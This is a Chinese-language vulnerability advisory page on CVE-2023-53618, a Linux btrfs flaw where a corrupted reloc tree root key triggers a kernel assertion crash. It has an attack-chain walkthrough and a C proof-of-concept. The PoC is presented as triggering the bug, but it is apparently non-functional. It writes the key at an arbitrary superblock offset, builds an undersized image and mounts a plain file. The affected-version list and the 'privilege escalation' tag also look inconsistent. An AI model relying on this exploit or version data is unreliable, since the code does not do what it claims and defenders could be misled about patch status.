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CVE-2023-53618 CVSS 5.5 中危

CVE-2023-53618 Linux内核btrfs文件系统无效重定位树根键漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53618
漏洞类型
拒绝服务/断言失败
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 btrfs文件系统

相关标签

Linux内核btrfs文件系统拒绝服务断言失败本地提权CVE-2023-53618内核漏洞元数据损坏树检查器

漏洞概述

CVE-2023-53618是Linux内核btrfs文件系统中存在的一个安全漏洞。该漏洞源于btrfs在处理重定位树(reloc tree)根键时缺乏有效的验证机制。当内核遇到损坏的磁盘数据时,可能触发prepare_to_merge()函数中的ASSERT()断言,导致系统崩溃。

具体而言,btrfs文件系统使用重定位树来处理子卷的写时复制(COW)操作,但重定位树只能为子卷(subvolume)创建,因为只有子卷树才能与其他树共享树块(具有BTRFS_ROOT_SHAREABLE标志)。对于非子卷树,内核直接对涉及的树块进行COW操作,无需创建重定位树。然而,当磁盘上的元数据损坏时,可能导致内核为非子卷树(如quota tree)错误地创建重定位树根键,从而触发断言失败。

该漏洞由syzbot模糊测试工具发现。当内核检测到重定位树不匹配时(例如出现错误信息"reloc tree mismatch, root 8 has no reloc root"),系统会触发栈转储(stack dump)并崩溃。该漏洞的CVSS评分为5.5,属于中等严重等级,攻击者需要本地低权限访问即可触发,但不需要用户交互,主要影响系统的可用性。

技术细节

从技术层面分析,该漏洞涉及btrfs文件系统的重定位树管理机制。在btrfs中,当进行写时复制操作时,如果涉及子卷的共享树块,内核会创建重定位树来跟踪这些块的移动。然而,重定位树机制仅适用于子卷树,因为只有子卷才具有BTRFS_ROOT_SHAREABLE标志。

漏洞的根本原因是tree-checker未对根键(root key)进行充分的验证。当磁盘上的元数据损坏时,内核可能接收到无效的重定位树根键,例如对象ID为TREE_RELOC_OBJECTID但类型为ROOT_ITEM且目标对象为QUOTA_TREE_OBJECTID的键。这种键表示为配额树创建了重定位树,但实际上配额树不是子卷,不应该拥有重定位树。

在prepare_to_merge()函数中,存在一个ASSERT()断言,用于确保重定位树被其子卷树正确指向。当遇到上述无效的重定位树时,该断言会被触发,导致内核崩溃并输出栈转储信息。

修复方案包括两个层面:首先,在tree-checker中添加对根键的验证,确保重定位树只能为子卷创建;其次,在prepare_to_merge()函数中进行优雅的退出处理,而不是直接触发断言失败。这种双重防御策略可以有效防止因磁盘数据损坏导致的系统崩溃。

攻击链分析

STEP 1
步骤1:准备损坏的btrfs文件系统镜像
攻击者创建一个包含无效重定位树根键的btrfs文件系统镜像,其中根键的对象ID为TREE_RELOC_OBJECTID,但目标对象为QUOTA_TREE_OBJECTID(非子卷)
STEP 2
步骤2:挂载损坏的文件系统
攻击者通过本地低权限访问,将损坏的btrfs镜像挂载到系统上,或者通过物理访问修改现有btrfs文件系统的元数据
STEP 3
步骤3:触发文件系统操作
当文件系统执行COW操作或合并操作时,内核会调用prepare_to_merge()函数处理重定位树
STEP 4
步骤4:触发ASSERT()断言失败
内核检测到重定位树与子卷树的不匹配,触发ASSERT()断言,导致内核崩溃并输出栈转储信息
STEP 5
步骤5:系统拒绝服务
系统因内核断言失败而崩溃,造成拒绝服务攻击,攻击者需要重启系统才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53618 - Trigger btrfs ASSERT() via corrupted reloc tree root key // This PoC simulates the conditions that trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> // Simulate creating a corrupted btrfs filesystem image // with invalid reloc tree root key for a non-subvolume tree int create_corrupted_btrfs_image(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return -1; } // Create a minimal btrfs superblock unsigned char superblock[4096] = {0}; // Set magic number "_BHRfS_M" superblock[0x40] = '_'; superblock[0x41] = 'B'; superblock[0x42] = 'H'; superblock[0x43] = 'R'; superblock[0x44] = 'f'; superblock[0x45] = 'S'; superblock[0x46] = '_'; superblock[0x47] = 'M'; // Write corrupted reloc tree root key // ObjectID = TREE_RELOC_OBJECTID (-8) // Type = ROOT_ITEM (132) // Offset = QUOTA_TREE_OBJECTID (8) - this is invalid for reloc tree unsigned long long *root_key = (unsigned long long *)(superblock + 0xB0); root_key[0] = (unsigned long long)-8; // TREE_RELOC_OBJECTID root_key[1] = 132; // ROOT_ITEM type root_key[2] = 8; // QUOTA_TREE_OBJECTID (invalid) write(fd, superblock, sizeof(superblock)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *image_path = "/tmp/corrupted_btrfs.img"; printf("Creating corrupted btrfs image...\n"); if (create_corrupted_btrfs_image(image_path) < 0) { return 1; } printf("Attempting to mount corrupted btrfs image...\n"); // Mount the image to trigger the ASSERT() in prepare_to_merge() // This will cause kernel panic / oops with stack dump if (mount(image_path, "/mnt/test", "btrfs", 0, NULL) < 0) { perror("mount"); printf("Note: Direct mount may require loop device setup\n"); } return 0; }

影响范围

Linux kernel < 6.1.63
Linux kernel 6.2 < 6.2.13
Linux kernel 6.3 < 6.3.2
Linux kernel 6.4 < 6.4.10
Linux kernel 6.5 < 6.5.5

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下措施进行临时缓解:1)限制本地低权限用户对块设备的访问权限;2)使用btrfs scrub定期检查文件系统完整性,及时发现并修复损坏的元数据;3)避免在不可信环境中挂载未经验证的btrfs文件系统镜像;4)配置cgroup或systemd限制用户对文件系统操作的能力;5)启用SELinux或AppArmor等强制访问控制机制,限制文件系统操作的权限。

参考链接

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